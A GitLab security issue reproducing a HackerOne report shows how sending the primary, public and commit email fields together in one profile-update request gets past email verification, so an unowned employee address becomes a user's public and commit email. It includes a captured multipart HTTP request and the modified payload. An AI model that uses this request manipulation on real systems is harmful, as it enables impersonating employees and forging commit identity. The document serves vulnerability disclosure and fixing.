Employee impersonation by bypassing public and commit email verification
# :warning: Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
**[HackerOne report #1881598](https://hackerone.com/reports/1881598)** by `theluci` on 2023-02-21, assigned to @fvpotvin:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## Report
Hello,
While testing I found that the bug https://gitlab.com/gitlab-org/gitlab/-/issues/219745 that gitlab fixed two years ago has reopened.
#### Summary
Gitlab doesn't check the reliability of the user[public_email] and the user[commit_email] parameters. In the backend, it just checks if those fields are matched with the user[email] but doesn't check if the email address has been verified. So by changing the user[email], user[public_email] and user[commit_email] at the same time, the server will change the user public email and commit email to become the same email as the currently-changed email address in the request (which hasn't been verified yet).
#### Steps to reproduce
1. Create a Gitlab account with your email address.
For example, theluci+test2@wearehackerone.com in my case.
2. Go to /profile/emails
3. Add an email address that you do not own. For example, theluci@gitlab.com
4. Visit /profile
5. Change your primary email address to theluci@gitlab.com, click Save and capture the request, it will look like this:
```json
POST /-/profile HTTP/2
Host: gitlab.com
Content-Type: multipart/form-data; boundary=---------------------------45235675323735184942831572911
Cookie: COOKIES
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="_method"
put
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="authenticity_token"
VfTHsNArSelTU0RuPQ34ZHS2x6/w2sY59WMD1SCz/Un9PUpBuiW0RZE6nAGkthZN2NKlEFz28GWSlxcQaSHI6Q==
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[avatar]-trigger"; filename=""
Content-Type: application/octet-stream
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][emoji]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][message]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][availability]"
not_set
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[timezone]"
Etc/UTC
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[name]"
lucifer-attacker
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[id]"
8552782
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[pronouns]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[pronunciation]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[public_email]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[commit_email]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[skype]"
```
6. Change user[email], user[public_email], user[commit_email] in above http request to become the same:
```json
...
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[public_email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[commit_email]"
theluci@gitlab.com
...
```
7. Forward the request.
8. Now re-visit /profile/emails and you will see theluci@gitlab.com has become your public email address and your commit email address.

#### Impact
Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.
#### Examples
My profile: [@]LuciferHackerone2
#### What is the current *bug* behavior?
The public and commit email addresses have a bad confirmation in the backend. It just checks if the email addresses are the same as the current email address. And when you send a request which also changes your current email address, the server will change your current email address first then perform change the user[commit_email] and user[public_email] after, which the user was able to bypass the check.
#### What is the expected *correct* behavior?
Commit and public email should be checked with verified email addresses, not only email addresses.
#### Output of checks
This bug happens on GitLab.com
#### Impact
Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [public_and_commit.png](https://h1.sec.gitlab.net/a/8d3d892d-0667-48f4-a533-ea9354139aed/public_and_commit.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue